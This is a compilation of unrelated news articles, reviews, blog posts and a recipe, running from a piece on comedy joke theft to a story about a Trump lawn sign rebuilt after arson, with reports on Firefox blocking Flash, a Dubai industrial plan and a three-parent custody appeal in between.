needed to steal, since he couldn't possibly clear 30 minutes using only his own material. Whatever pay boost he got as a feature instead of an opener was money made off the sweat of funnier brows. Frustration with that same entitled calculus sparked comedians’ high-profile clash with the “Fat Jew,” who earlier in 2015 made headlines for successfully monetizing an Instagram feed comprised solely of pilfered jokes. Many outlets characterized the controversy as being over proper attribution, but it was really over the fact that he was benefiting from a brand he didn't do anything to create. For most comedians, Fat Jew’s penance wouldn't just be attribution, it would be writing his own damn jokes. Aside from economics, most comedians are moved by convictions of creative ownership over their own work. Stand-up has grown into a far more bonafide art form than its silly slapstick predecessor, further affirming the immorality of thievery. But even if stand-ups have long agreed that stealing jokes is wrong, they are still faced with an obvious problem. What exactly are they supposed to do about it? Advertisement: While other fields may be governed by strict rules regarding plagiarism and can enforce copyright laws through the courts, stand-up comedians have little formal recourse when someone helps themselves to their big closer. The problems with copyright as related to stand-up comedy were succinctly explained by Slate: “Copyright law defends the expression of an idea, but not the idea itself. So even if somebody stole your joke about bad airline food, there’s little you can do if that person tells the same joke with slightly differently wording—no one owns the idea of mocking bad airline food. And even when a comedian does have a legal basis to accuse somebody of copyright infringement, it can be expensive to do anything about it.” (Indeed, it’s hard to imagine an open mic comic who makes ends meet waiting tables retaining a copyright lawyer to protect his Tinder joke.) Industry professionals aren't very interested in defending the sanctity of comedy either, so the business of policing joke theft falls largely to comedians themselves. In 2007, researchers at University of Virginia Law School produced a report on strategies the comedy community implements to reduce theft and hold offenders accountable. While they found no examples of comic-on-comic copyright suits, they nonetheless concluded that stand-ups had managed to hone a well-functioning system to preserve their art. Punishments for joke thieves can range from badmouthing and tarnished reputations, to coordinated “blackballing,” to the rare-but-possible physical altercations in the style of W.C. Fields. Examples of just how comedians’ interactions with thieves play out stretch back for decades, many of which were recounted by Larry Getlen in a 2007 feature for Radar Magazine. In the 1980s, comics at the Hollywood Improv reportedly devised a blinking light system to warn performers when known joke thieves showed up. (Among the most notorious was Robin Williams, who was even said to pay off comics who complained about stolen bits.) At the L.A. Comedy Store in 2007, comedian Joe Rogan went so far as to interrupt Carlos Mencia onstage over his habit of rampant joke theft. Rogan also posted a video of the confrontation online, harkening an era in which discussions over joke theft frequently happen publicly online. It’s quite possible this degree of transparency applies pressure to industry gatekeepers, who kept hiring Carlos “Menstealia” for years until the public began to turn on him. Advertisement: Of course, video can have a “gotcha” effect on stand-up beyond cases of premeditated, filmed ambushes of notorious thieves. Some people believe video may finally be having the effect hypothetically imagined back when film began edging out vaudeville. They contend that the fact that bits can be uploaded and watched online may convince potential thieves not to bother, or act as an insurance policy for comedians wishing to ward off vultures. If all else fails, side-by-side evidence can allow a wider audience to weigh in — like with the Hollywood Reporter story comparing Noah to Chapelle. But objective truth isn't always so easy to come by. Joke theft has never been as straight-forward a crime as, say, jewelry theft, because accusations of “joke theft” can point to several different things. Certainly, there are deplorable instances of outright, consciously purloined material. But there are also many innocent cases of what comedians call “parallel thought,” when people simply happen to come up with the same gag independently. (Last week’s announcement that Playboy would cease publishing nudes, for example, sparked endless “now you can really read it for the articles!” quips on social media.) And then there’s an ambiguous “other” category that includes things like “unconscious plagiarism,” when comics subconsciously internalize someone else’s joke, or material born out of conversations between comics where the actual owner might be ambiguous. Art Markman, a psychology professor at University of Texas, confirmed in an email that this phenomenon exists when it comes to generating creative ideas. Leveraging public opinion against joke theft can be effective in cases like Mencia’s, when it’s time to dole out comedy justice to those who really deserve it. But when it comes to the considerable grey area beyond the realm of copy-and-paste, the best judgment certainly lies with the people who have been negotiating these issues all along: the comedians themselves. Joke theft is a severe charge that impugns a person’s character and talent. Accusations have almost certainly branded some comics undeservedly — damage easier than ever to do in the age of social media. It’s impossible to say what happened in Noah’s case, but parallel thought or unconscious plagiarism seems likely. Advertisement: Perhaps the most interesting rumination on joke theft in the digital era unfolded in a 2011 episode of "Louie" that featured Dane Cook, whom Louis CK had been accusing of joke theft since 2005. In the episode, the two men hash out a barely fictionalized version of the issue in a way that feels honest and cathartic. When Louis asks Dane to help score concert tickets for his daughter, Dane agrees on the condition that Louis publicly admit Dane never stole his bits. When Louis protests that Dane did steal, Dane retorts: “Dude! Why would I steal three jokes from you when I have hours of material. Why? Why! Why would I do that? Risk my reputation! […] The one thing that, like, really just, gets to me, is the whole thing about people saying that I stole the joke about the itchy asshole. Because I get an itchy asshole. A lot. So for you to think you're the only person who got an itchy asshole in America? I mean, that's bullshit.” In doing so, CK added nuance to a narrative that had all but condemned Cook. Whatever happened between the two comedians, the episode made it clear just how much their art and community means to them, and how difficult a firm resolution can be. |
Police were called to a home on First Street after an attempted stabbing Wednesday night. The stabbing happened at a fraternity party on the 300 block of Russell Boulevard. The attack began after two party-goers got into an argument. The suspect then tried to stab the victim twice, according to the Davis Police Department. "The victim was able to stop the attack long enough for other party goers to intervene and separate the two," said Lt. Glenn Glasgow. "The victim sustained a minor injury to his hand when he grabbed the knife to stop the assault." Lt. Glasgow described the knife as a "pocket knife-like instrument." (The knife pictured is not the specific knife. It's a stock image). Police would not reveal the name of the fraternity where the party was taking place because it's an ongoing investigation, and could have evidence of value while they conduct that investigation. The suspect is described as a White male adult in his 20s, about 6-foot 4-inches tall with a thin build and blonde hair. "They didn't know each other," said Glasgow of the two involved in the incident. "I don't know what the argument was over." After others intervened, the victim was taken to the home on First Street, at which point police were called. We'll update this story as we learn what fraternity house, and other information: For easy updates: Sign up for Breaking News Alert emails. Anyone with information about this incident is urged to contact the Davis Police Department at 530-747-5400 |
On the surface, making a follow-up to The Room sounds like a perfectly savvy choice for someone with a legion of fans, some of whom have seen the film 300 times and have developed elaborate theories about character backstories. The Neighbors certainly attempts to riff on the qualities that made its predecessor so beloved: a loose approach to continuity, outlandish characters, and a general WTF-inducing vibe. But it lacks The Room's self-serious earnestness (which Wiseau has tried to defuse by retroactively claiming the movie was meant to be a black comedy), its intriguing roster of personalities, and its intoxicating melodrama. The sitcom instead feels like something shot on an iPad by some drunk, bored high schoolers. The Neighbors tries to paint a diverse portrait of American life, but instead ends up insulting everyone it depicts. Most of the women appear in various states of undress, most of the men are perverts. In the first episode, a character of Asian descent storms into Charlie's office ranting accusing a "black guy ... the rapper guy" of cutting off his wi-fi. In the second, a character named Troy introduces himself to a visiting British princess by grabbing her butt—to no protest. A constantly screaming old woman (who first appears in a tight miniskirt and crop top) verbally harasses and tries to fight a neighbor who identifies as a lesbian. It's strange to slam a show not just for being bad, but for not being bad in the right way. Because, as the devoted followings for critically deplored films like Manos: The Hands of Fate and Troll 2 indicate, there is a right way to embody badness and transcend it. The creation of a so-bad-it's-good cult classic is a largely populist affair, depending on the outsize passion of relatively small number of people who come together ad hoc to both eviscerate and champion some awful-but-amazing work (and preferably not let it get too popular, like The Room). There's a specific brand of criticism that's the lifeblood of these movies: the criticism-of-bad-things as entertainment in itself. This phenomenon originated with the late-80s TV series Mystery Science Theater 3000, where a man and his robots watched and made fun of old B-movies, and that show's influence can be seen everywhere from Beavis and Butthead's music-video commentary skits to YouTube channels like YourMovieSucks. It feels as good to laugh at other people's observations and wisecracks as it does to laugh at bad cinema, and so a kind of symbiosis arises between the armchair analysis of niche delights and the works themselves. Even if it's just people parroting quotes, the movies live on. Which is where The Neighbors loses out. The Room's success came from the organic enthusiasm of its fans, from its mythic rise from obscurity to a welcome addition to the midnight-movie marquee alongside The Rocky Horror Picture Show. But The Neighbors has done nothing to earn the cheerful disdain Wiseau's fans were ready to shower upon it. It lazily attempts to recreate the formula of its predecessor, as if making a cult hit were a paint-by-numbers affair and appreciation were something that could be coerced from viewers by shocking them. |
Traditional cheesecakes can be tedious to make, requiring complicated cooking techniques like water baths as well as slow and long baking time. After baking, they need to cool down completely and chilled overnight to set. This White Chocolate and Strawberry Cheesecake recipe makes the whole process simpler and easier. Using smaller one-serving tins, these cheesecakes bake faster. Chilling time is also lessened to just a couple of hours, so you don't have to wait for forever until you can take a bite of your creations. Here is an easy dessert recipe for White Chocolate and Strawberry Cheesecake: Ingredients: 1 cup Graham cracker crumbs 50ml (2 fl oz) melted butter 75g white chocolate chips 250g cream cheese 4 tbsp double cream 75g caster sugar 1 medium egg 200g strawberries, hulled and sliced 3 tbsp strawberry jam Procedures: Preheat the oven to 325°F. Lightly grease four small, deep, loose-bottomed tart tins using cooking spray. Mix together the graham crackers and melted butter. Divide crust mixture and spoon into the 4 prepared tins. Press mixture firmly using a spoon or the bottom of a glass to create crust in the bottom of each tin. Set aside. Place the white chocolate chips in a heatproof bowl and set over a pan of simmering water. Stir until melted. Remove from heat. In another bowl, beat the cream cheese, double cream and caster sugar until smooth. Add the egg and melted chocolate and stir to combine. Spoon mixture over prepared crusts. Bake for 25-30 minutes or until set and lightly browned. Remove from oven and place tins on a wire rack to cool. Chill for one to two hours. Before serving, combine the fresh strawberries and jam. Remove the cheesecakes from the tins and transfer to a plate. Top with the strawberry mixture. Dust with icing sugar if desired. Refrigerate any leftover White Chocolate and Strawberry Cheesecake. Get These Other Easy Dessert Recipes: Comments comments |
We show that for the task of simulated robot wrestling, a meta-learning agent can learn to quickly defeat a stronger non-meta-learning agent, and also show that the meta-learning agent can adapt to physical malfunction. A simulated robot ant (red) uses its meta-learning policy to learn to beat a stronger creature with more legs (green). We've extended the Model-Agnostic Meta-Learning (MAML) algorithm by basing its objective function on optimizing against pairs of environments, rather than single ones as in stock MAML. MAML initializes the policies of our agents so that after only a small number of parameter updates during execution on a new environment (or task) the agents learn to do better in that environment. The policy parameter updates at execution are done via gradient ascent steps on the reward collected during the few episodes of initial interaction with a new environment. By training on pairs we’re able to create policies that quickly adapt to previously unseen environments, as long as the environment doesn’t diverge too wildly from previous ones. To test our continuous adaptation approach we designed 3 types of agents — Ant (4-leg), Bug (6-leg), and Spider (8-leg) — and set up a multi-round game where each agent played several matches against the same opponent and adapted its policy parameters between the rounds to better counter the opponent's policy. In tests, we found that agents that could adapt their tactics are much better competitors than agents that have fixed policies. After training over a hundred agents, some of which learned fixed policies and others learned to adapt, we evaluated the fitness of each agent. Learning on the fly can also let agents deal with unusual changes in their own bodies as well, like adapting to some of their own limbs losing functionality over time. This suggests we can use techniques like this to develop agents that can handle both changes in their external environment and also changes in their own bodies or internal states. We're exploring meta-learning as part of our work on large-scale multi-agent research. Additionally, we're releasing the MuJoCo environments and trained policies used in this work so that others can experiment with these systems. |
Filed on June 26, 2016 | Last updated on June 26, 2016 at 07.43 am The Dubai Industrial Strategy envisages an industrial sector growth of an additional Dh18 billion by 2030. Dubai has unveiled a new industrial strategy designed to elevate the emirate into a global platform for knowledge-based, sustainable and innovation-focused businesses and help generate an additional Dh160 billion by 2030. Launching the policy blueprint that has identified 75 initiatives, His Highness Shaikh Mohammed bin Rashid Al Maktoum, Vice-President and Prime Minister of the UAE and Ruler of Dubai, reiterated on Saturday that the UAE is on track to achieving its objectives with regard to integrating and complementing its economic sectors and optimising industrial capacity to supplement the GDP and other revenue streams to the national economy in the coming years. The Dubai Industrial Strategy envisages an industrial sector growth of an additional Dh18 billion by 2030, creating 27,000 jobs with exports forecast to increase by Dh16 billion. Meanwhile, investment in research and development will increase by an additional Dh700 million by 2030. "The Dubai Industrial Strategy aims to leverage our advanced infrastructure and enabling environment to transform UAE into a global platform for innovative industries and a destination of choice for international companies seeking an integrated and favourable environment for growth and sustainability," Shaikh Mohammed said. "With the launch of the Dubai Industrial Strategy, we are taking one more step towards the future. We have laid down a strong foundation that blends our strategic location and infrastructure with our ambition, confidence and experience. Today we have put in place the basic framework needed to compete globally in the industrial sector and develop national talents. We are one step closer to achieving the goal of making Dubai a homeland for innovators, a favourite place to live and work in, a global economic hub, and a preferred destination for visitors." He stated that sustainable development involved activating all pillars of the economy. "A conducive environment is required to achieve our targets that focus on knowledge, science and research, which form the foundation for the development of industries." Shaikh Mohammed added that a sound economy today means a diverse and integrated economy led by the industry and manufacturing sectors, and built on pillars of innovation and creativity. "Nations are recognised for what they produce and offer in products and services and the value they add to the global economy." The strategy was launched in the presence of Shaikh Hamdan bin Mohammed bin Rashid Al Maktoum, Crown Prince of Dubai and Chairman of the Dubai Executive Council, and Shaikh Maktoum bin Mohammed bin Rashid Al Maktoum, Deputy Ruler of Dubai. The event was also attended by Shaikh Ahmed bin Saeed Al Maktoum, President of the Dubai Civil Aviation Authority and Chairman and Chief Executive of Emirates Airline and Group; Mohammed Abdullah Al Gergawi, Minister of Cabinet Affairs and The Future; Sultan bin Saeed Al Mansouri, Minister of Economy; Mohammed Ibrahim Al Shaibani, Director-General of His Highness the Ruler's Court of Dubai; Sultan Ahmed Bin Sulayem, Chairman of Ports, Customs and Free Zone Corporation, in addition to a number of business leaders in Dubai. The development of the Dubai Industrial Strategy was led by Jebel Ali Free Zone Authority (Jafza) and Dubai Industrial Park in Dubai Wholesale City with support from the Executive Council of Dubai. Numerous industry experts from more than 25 government entities and the private sector were also involved during the development phase. The strategy aims to develop and implement long-term industrial policies to enhance the competitiveness and sustainability of the industrial sector in Dubai and across its free zones. It identifies target industrial sectors and focuses on strengthening industrial integration - connecting the target sector with educational and research institutions to stimulate innovation and creativity with a view to developing strategic industries. In addition, the Dubai Industrial Strategy aims to create an attractive environment for these strategic industries. Key objectives The strategy is based on five key objectives that will serve as the foundation for Dubai's industrial future. The Strategy aims to increase the total output and value-addition of the manufacturing sector, enhance the depth of knowledge and innovation, make Dubai a preferred manufacturing platform for global businesses, promote environment-friendly and energy-efficient manufacturing and make Dubai a centre for the global Islamic products market. The Dubai Industrial Strategy has further identified six priority sub-sectors: Aerospace, Maritime, Aluminum and Fabricated Metals, Pharmaceuticals and Medical Equipment, Food and Beverages and Machinery and Equipment. These sub-sectors were chosen based on their importance to the Dubai Industrial Strategy and Dubai Plan 2021, as well as their future growth prospects, export potential and mid-term to long-term economic impact. Strategic Initiatives The Dubai Industrial Strategy has identified 75 initiatives to transform Dubai into a global platform for industries based on knowledge, innovation and sustainability and is projected to help generate an additional Dh160 billion by 2030. Sultan Ahmed bin Sulayem, Group Chairman and Chief Executive Officer of DP World and Chairman of Ports, Customs and Free Zone Corporation, asserted that the launch of the strategy is aligned with the UAE's roadmap for sustainable progress in the post-oil era and reinforce nation's efforts to diversify the national economic structure. He said: "The launch of Dubai Wholesale City, the world's largest city for wholesale trade extending over 550 million square feet at a cost of Dh30 billion, reinforces Dubai's clear economic vision for the future through the creation of dynamic new sectors and the reformatting of existing sectors on a global scale." He stressed that the Dubai Industrial Strategy includes a range of investment incentives to attract more industrial investments to the Jebel Ali Free Zone (Jafza). These incentives will encourage investors to create production lines locally and use Jafza as a springboard for conveying their products to diverse countries around the world. Sultan bin Sulayem highlighted that the strategy also comprised a core developmental aspect - including Emiratis in the nation's development process and empowering them with knowledge and skills through engaging them in various industrial projects. Dr Amina Al Rustamani, Group CEO, Tecom Group, developer of specialised parks including Dubai Industrial Park in Dubai Wholesale City, said the strategy forms a cornerstone for the development of an industry sector based on innovation, knowledge and creativity." She added: "We are keen on increasing the value added of the industrial sector to the Dubai's GDP as well as that of the UAE. The development of this sector is a main driver for the economy with its high potential and capability. We are committed to implementing this strategy on the ground and benefiting from its potential to significantly build capacities and provide jobs to our national workforce." Abdullah Belhoul, CEO, Dubai Wholesale City, said: "The launch of the Dubai Industrial Strategy articulates the vision of our leadership to prepare for a post-oil future and establish a diversified knowledge-based economy. Dubai Industrial Park will play a pivotal role in this transition as a leading destination for industry and logistics - boasting more than 700 local, regional and global companies. The industrial park also features a halal manufacturing zone that will help fulfill the objectives of this strategy. In the next phase of implementation of the strategy, Dubai Industrial Park will collaborate with all the partners on realising initiatives and action plans to accomplish these strategic goals." Ibrahim Mohamed Aljanahi, Deputy CEO and Chief Commercial Officer of Jafza, said: "The Dubai Industrial Strategy has outlined policies to ensure a steady pace of growth in all sectors and has assigned specific tasks to every economic institution - whether free zones or industrial zones. These promising policies will stimulate the industrial sector and attract more foreign investment to the country." Aljanahi stressed that Jafza is developing a marketing plan tailored to the Dubai Industrial Strategy to attract more global industrial companies to the free zone and provide incentives to successful businesses based within the zone. - reporters@khaleejtimes.com Share More > Vote Click/tap here to subscribe to Khaleej Times news alerts on WhatsApp. Make sure you save the phone number under Contacts on your phone for uninterrupted service. ERROR: Macro /ads/dfp-ad-article-new is missing! |
A few conservative pundits on Tuesday furthered a conspiracy theory that someone, possibly Magic Johnson, set up Los Angeles Clippers owner Donald Sterling’s racist rant in order to buy the team. Conservative radio host Rush Limbaugh on his show on Tuesday had a lengthy discussion with a caller about such a theory. Limbaugh attributed the theory to the caller, but seemed convinced that it was a possibility. “Whoever set this up is really good. They covered every base. They’ve got the media wrapped around their little finger,” Limbaugh said. “This is a fascinating theory. And, Neil, I’m glad that you held on through the break so I could dig deep, explore further,” he continued “You know, you got it.” Patrick Howley, a reporter for the Daily Caller, also questioned whether Magic Johnson had something to do with the the leaked audio recording. Question for @MagicJohnson: Did you in any way help V. Stiviano leak Sterling tape to TMZ? — Patrick Howley (@PatrickHowleyDC) April 29, 2014 Magic’s possible role in leaking tape should be explored but @tmz can’t give up source MSM can’t go after Democrat. We on outside should dig — Patrick Howley (@PatrickHowleyDC) April 29, 2014 Magic Johnson needs to be asked about possible role in leaking tape to TMZ before NBA approves sale. Sterling a bad man but questions linger — Patrick Howley (@PatrickHowleyDC) April 29, 2014 A former Republican official in South Carolina, Todd Kincannon, floated the theory that Magic Johnson helped Sterling’s girlfriend, V. Stiviano, set up the recording. Will any intrepid reporters notice that Magic Johnson just happens to have a group ready to buy the Clippers? THE WHOLE THING WAS A SETUP! — Todd Kincannon (@Todd__Kincannon) April 29, 2014 I’ll say this for Magic Johnson. He must have some brilliant advisors to cook this up. Who knew he had super aides like that? — Todd Kincannon (@Todd__Kincannon) April 29, 2014 |
On the 9th day of Christmas, the Warmists gave to me, more Cult of Climastrology insanity Global warming puts Santa’s delivery system at risk It is proving extremely difficult in the aviation sector to find technological solutions to greenhouse gas emissions that influence climate change. As a result, flying may be the last sector staying with fossil fuels. However, Christmas each year tests an alternative approach. The sleigh driven by Santa Claus is powered by nine reindeer. Like cows, reindeer are ruminants: when they digest grass and lichen, they emit methane gas. Unfortunately this is a very powerful greenhouse gas. On the face of it, this would appear to be a black mark against reindeer-powered sleighs. However, we should also consider how much greenhouse gas is emitted per tonne of payload per kilometre travelled, and how that might compare with alternative modes of travel. Given that the sleigh is believed to traverse the entire globe over the course of just one night, the number of kilometres travelled is very high.(snip) While this Christmas delivery service has been in business for aeons, global warming is putting its future at risk. Research shows that the extent of Arctic ice in the winter is rapidly declining each year, due to the continual rise in temperature in these regions driven by climate change. While still adequate for sleighs to take off and land today, in 20 years time this may no longer be possible. As the depth of ice is reduced by global warming, the take-off weight for sleighs in Arctic regions may be steadily reduced under international aviation regulations. This could give rise to serious disappointment in future years as deliveries will have to be curtailed. |
A friend has pointed me to an article by Lynne Kelleher in the Irish Independent, which was taken up by an American blogger calling himself The Deacon’s Bench. The article quoted Archbishop Diarmuid Martin of Dublin as suggesting that Ireland’s lapsed Catholics should have the maturity to leave the Church. In an obvious reference to “cultural Catholics” who eg want to be married in a church and have their children baptised for purely social reasons, the archbishop is alleged to have said: “It requires maturity on those people who want their children to become members of the Church community and maturity on those people who say ‘I don’t believe in God. I really shouldn’t be hanging on to the vestiges of faith when I don’t really believe in it.’” He was followed by Fr Michael Drumm from the Catholic Schools Partnership who said that the Church in Ireland would be firmer in future with parents wanting to have their children baptised as Catholics. The blog led to some interesting comments in the posts that followed: a fellow US Catholic deacon stated that “in a few cases I’ve refused to marry a couple or baptise an infant until the adults involved demonstrated that their faith would be meaningful and practised”. Yet another deacon related that he was asked by his parish priest to baptise the baby of a non-churchgoing, unmarried mother and also give her instruction – and that she did come to Mass sometimes afterwards. Generally the responses were evenly divided between those who agreed (cautiously) with Archbishop Martin and who felt that if it were known that the family did not intend to raise their child as a Catholic, baptism should be delayed until their attitude had changed; and those who felt this attitude lacked compassion: lost or wavering sheep should be welcomed and supported, not shunned. (Inevitably, a few posts said the Irish Church was in no position to preach to anyone, given her recent history etc). I am never sure which way to jump in this debate – and priestly responses vary. One priest I know always baptises on request with no questions asked, believing he should give non-practising parents the benefit of the doubt; yet another used to firmly insist on attendance at sessions of instruction beforehand, as a way of showing parental commitment. I also recall an elderly priest, on the occasion of a First Communion family jamboree, telling me with sadness that he did not expect to see the parents or child again in the church – and he was proved right. If I were a priest I would want to point out that baptism shouldn’t be done just to please the grandparents; that First Communion is more than an occasion to buy an expensive dress for family photographs; and that a church wedding shouldn’t be requested in order to have a tasteful backdrop. But what if this puts off the enquirers from coming to church again? Is mercy rather than justice required here? |
JNS.org – A historic synagogue that dates back to the 18th century and is located in an Arab town in northern Israel was firebombed with a Molotov cocktail on Wednesday as the recent spate of violence throughout the Jewish state persists. The synagogue had just been renovated this year in an indicator of positive interfaith relations in the area, The Times of Israel reported. Additionally, a mosque near Ramallah was burned on Wednesday. Investigations into the perpetrators of both incidents are ongoing. While Likud MK Miri Regev condemned the arson attack against the mosque, saying “that it is forbidden to take the law in to your own hands,” the Islamic Jihad terror group vowed retaliation. The Gaza-based terror group already claimed responsibility for the two stabbing attacks on Monday in which IDF soldier Sgt. Almog Shiloni and Israeli woman Dalya Lamkus were killed. “Those who encourage and allow attacks on mosques and against Palestinians should expect a response,” Islamic Jihad said in a statement, the Jerusalem Post reported. Israeli Ambassador to the U.N. Ron Prosor, meanwhile, accused the U.N. Security Council of staying silent on recent terror attacks on Israelis despite the fact that recent cartoons published by the Palestinian Fatah party’s Facebook page have encouraged Israeli Arabs to run over Jews with their cars in order to “protect” the Al-Aqsa Mosque. “Complacency breeds disaster. The international community has done nothing but be complacent, ” Prosor told the council. |
Impact United is a community-wide fundraising program that gives Smashers the opportunity to support their local communities and children’s hospitals as part of Impact 2016. Starting, you can create your own charity fundraiser through Extra Life and support one of 170 children’s hospitals across the US as part of Children’s Miracle Network Hospitals. Start a fundraiser at your local tournament or Smash club, collect donations as part of your tournament’s entrance fee, or even stream your fundraiser to let viewers donate and participate in the event. All donations count towards the community goal of $50,000, which goes directly to kids in children’s hospitals across the country. To get started, sign up with Extra Life on extra-life.org and join our fundraising page at extra-life.org/team/Impact . Collecting donations can be done via your tournament’s entrance fees, through sales of food and drinks, simple cash donations, or any combination of the above. Make a post in your local Smash group’s Facebook or event page and ask your friends what ways of fundraising best fit your local scene. You can also create a poll to see if players at your event would be open to having part of their venue fee go towards the fundraiser. Start the conversation by posting this article in your local groups or share it with your local TOs and players. There are many different ways you can customize your fundraiser, so explore any ideas and discuss them with your local scene. If you’re interested in starting a fundraiser, contact us on twitter at @GameSaversOrg or email at contact@gamesavers.org so we can help you with your ideas or any questions you may have. We’ll also be providing resources such as graphics, info, and print-outs so you can have everything you need to get your fundraiser started. |
After yesterday's news that Facebook's new chief security officer wants to set a date to kill Flash once and for all, the latest version Mozilla's Firefox browser now blocks Adobe's vulnerability-riddled software as standard. Mark Schmidt, the head of the Firefox support team at Mozilla, tweeted that all versions of Flash Player are blocked in the browser as of its latest update, accompanying the news with an image showing a raised fist and the phrase "Occupy Flash." Schmidt later clarified that while the software was blocked in the latest version of Firefox, Mozilla will enable support for Flash as default for its browser when Adobe releases a version that isn't being actively exploited by known vulnerabilities. The company has previously blocked Flash, Java, and a range of other plugins and software when they were found to have security holes. Schmidt also noted that Firefox users can still choose to enable Flash in the settings menu if they wish. BIG NEWS!! All versions of Flash are blocked by default in Firefox as of now. https://t.co/4SjVoqKPrR #tech #infosec pic.twitter.com/VRws3L0CBW — Mark Schmidt (@MarkSchmidty) July 14, 2015 To be clear, Flash is only blocked until Adobe releases a version which isn't being actively exploited by publicly known vulnerabilities. — Mark Schmidt (@MarkSchmidty) July 14, 2015 Dislike for the software isn't new: Steve Jobs memorably explained his problems with Flash in an open letter published back in 2010, but it's somehow clung doggedly to life, barely surviving the discovery of multiple critical security vulnerabilities every year. Most recently 400GB of files uncovered in the Hacking Team leak revealed some serious flaws in Flash that the spyware company used to force their way into target computers. Adobe has scrambled to fix problems as they have become public, but the web's biggest companies have slowly withdrawn support from the software over the past few years. YouTube dropped Flash as its default player in favor of HTML5 in January, and Chrome now intelligently pauses instances of Flash video on its pages — even Adobe stopped active development of Flash Player for mobile in 2011, recognizing it as inferior to HTML5. This latest wave of anti-Flash action might not kill it immediately, but it should at least mark the beginning of the end for the software. Correction: Mark Schmidt clarified Firefox's support for Flash in a tweet sent some time after his first, noting that future versions of the software may again be enabled by default if Adobe releases a new version. |
The mother says she made a pact with the father during a restaurant meeting before the boy was conceived that she and her lover would fill the role of "primary parents" within a "nuclear family" and that he would not stand on his paternal rights. But now she and her partner say they feel "bitter and betrayed" after the father - a former close friend who attended the birth and held the new-born baby in his arms - demanded overnight and holiday contact with his biological son. All three parents are highly-paid professionals living in central London and the father, in his 40s, insists he was always far more than a mere sperm donor and he wants to play a full paternal role in the life of the only child he is every likely to have. The father was formerly in a "marriage of convenience" with the mother, although they are now divorced, and three Appeal Court judges are being asked to rule on whether the little boy would be best off with "three parents and two homes". Alex Verdan QC, for the father, warned the judges against "importing traditional or stereotypical models" into their consideration of the case, and added: "This appeal raises important issues relating to the court's approach to children born into alternative families". The court heard the father currently has five hours visiting contact with the boy each fortnight, but wants this gradually increased to the point where he can have his son to stay overnight and take him on holiday. Mr Verdan denied the father's stance was an attempt to "marginalise" the mother's partner and insisted there had been no "clear agreement", pre-conception, that his role in the boy's life would be limited to occasional visits. Urging Lord Justice Thorpe, Lady Justice Black and Sir John Chadwick to focus on the boy's best interests, Mr Verdan said the current level of contact between them had "frozen" their relationship, which will "wither on the vine". He emphasised that the father has no desire to undermine the role of the mother and her partner as the boy's primary carers, but wants sufficient contact with the boy to enable a "developing relationship" with his only son. "The father described vividly to the court the pleasure and joy that he feels in interacting with his son when they see each other and the boy's responses to him. "The father wants to play a full part in his development. He has a strong desire to develop a father-son relationship with the boy, with time spent alone with him. "The father was at the hospital for his son's birth and held him shortly afterwards. He visited and bathed him afterwards and visited at Christmas and was later at his christening." The father, said Mr Verdan, had been "utterly consistent" in his desire to play a father's role and it was plain before the boy was born that "he expected staying contact, time on his own" with the baby. But Charles Howard QC, for the mother and her partner, said they had "planned parenthood" together and, had they known prior to conception the position the father would later take, they would have opted for an anonymous sperm donor. He added: "Conflict has raged around this little boy since his birth. These kind of arrangements seem to give rise to extraordinary tensions and a sense of betrayal". At the pre-conception restaurant meeting it had been "clearly agreed" that the boy would be brought up in a "two-parent" family, and the mother and her partner had been left with a sense of "bitterness and betrayal" by the father's demands, he said. And he told the judges: "It is right that that agreement was reached; the court has to show more than lipservice to it and must give it considerable weight, otherwise there's no point having such an agreement." Mr Howard said the father had been the mother's "best friend" prior to the boy's birth and, even now, she and her partner are happy for him to visit their son at Christmas and other times. The QC denied the mother and her partner were bent on excluding the father from having "any kind of relationship" with his son. He added: "Notwithstanding their sexuality and that they acknowledge to that extent that they are an 'alternative family', the mother and her partner hold very traditional views of family life and would not have chosen to bring a child into anything other than an intact, two-parent, family. "The ideal upbringing for a child is a stable home in which the parents love each other and had together chosen to bring a child into the world. This is the upbringing which the mother and her partner always wanted to create for this little boy. "Their choice of familiy life for their chiild should be respected. "They were always of the view that their son's best interests militated against him spending very much time away from them or from his home. "The intention was always that the father, who was at one time their close friend, would generally see the boy in their company by sharing in activities and family events. "The breakdown of the friendship has had the result that the boy is spending far more time away from his primary parents than they had anticipated. This is something which they have had to accept but it represents a significant departure from their initial plans for their son's upbringing. Mr Howard added: "To this particular couple, the concept of 'three parents, two homes', repeated so often by the father, is very alien and it has never been something they would consider. "They cannot conceive of their child being shuttled, physically but more significantly emotionally, between two homes and it is something that they believe will harm their son and cause significant emotional damage. "It has never been my clients' case that this boy does not need a male parent. Nor was it their case that his contact with his father should be limited to 'identity contact'. The mother and her partner had never viewed the father as a "mere sperm donor" and the QC added: "They decided to proceed with a known donor, and one who was their friend, in order to provide their child with a father with whom he could form a limited but important relationship. "There is considerable anxiety at the prospect of further destabilising their core family if contact (with the father) is extended beyond its current level." Recognising the importance of the case, the three Appeal Court judges have now reserved their decision until an unspecified later date. |
After an unidentified arsonist doused his first Donald Trump sign in gasoline and set it ablaze, one New York homeowner has decided to put up the same display again, but this time — it’s bigger. Sam Pirozzolo said he was first alerted to the fact that some “coward” had torched his sign when his daughter woke him up around 1 a.m. Sunday to tell him someone was ringing his doorbell. A few seconds later, he noticed an orange glow right outside his window. New York artist Scott LoBaido unveils a ‘Patriotic Lawn T’ in support 2016 Republican presidential nominee Donald Trump in the area of Castleton Corners on Staten Island, New York on August 9, 2016. LoBaido’s 12-foot-high ‘T’ was destroyed fire set by an unidentified arsonist on August 7. Lobaido created a brand new statue that stands in the yard belonging to Trump supporter Sam Pirozzolo. (Photo by KENA BETANCUR/AFP/Getty Images) The Staten Island resident said he wanted the arson to be investigated as a hate crime, according to the New York Post, but police said the crime did not meet the criteria for such a classification. “If this was about my religion or if I was gay, this would be a hate crime,” Pirozzolo said. “That someone can walk up, set a fire, burn my property and put my family in danger — it’s crazy not to make this a hate crime.” Nevertheless, Pirozzolo and the sign’s creator, artist Scott Lobaido, have constructed an identical, but even larger, sign to send the arsonist a bold message. For Lobaido, the “T,” meant to represent the Republican presidential nominee’s last name, is more than a sign. He says it’s a work of art. . “This is my freedom of speech, expression as an artist,” he told Maria Bartiromo Tuesday afternoon. He told the Fox News host that others in the neighborhood and some of his close friends pitched in to speed the process along to get the new display hoisted up as soon as possible. Pirozzolo expressed much the same sentiment, telling Bartiromo, “There is nothing that’s gonna stop me from exercising my First Amendment right.” And other residents nearby want to make sure his rights are protected, too. In fact, Lobaido said a friend has offered to donate a surveillance system to keep a watchful eye on Pirozzolo’s property, should vandals try to damage the new plus-sized patriotic “T” emblem. Pirozzolo also recounted the phone call he had with Trump, a fellow New Yorker who was thankful for his support. During the call, Trump not only talked to Pirozzolo, but 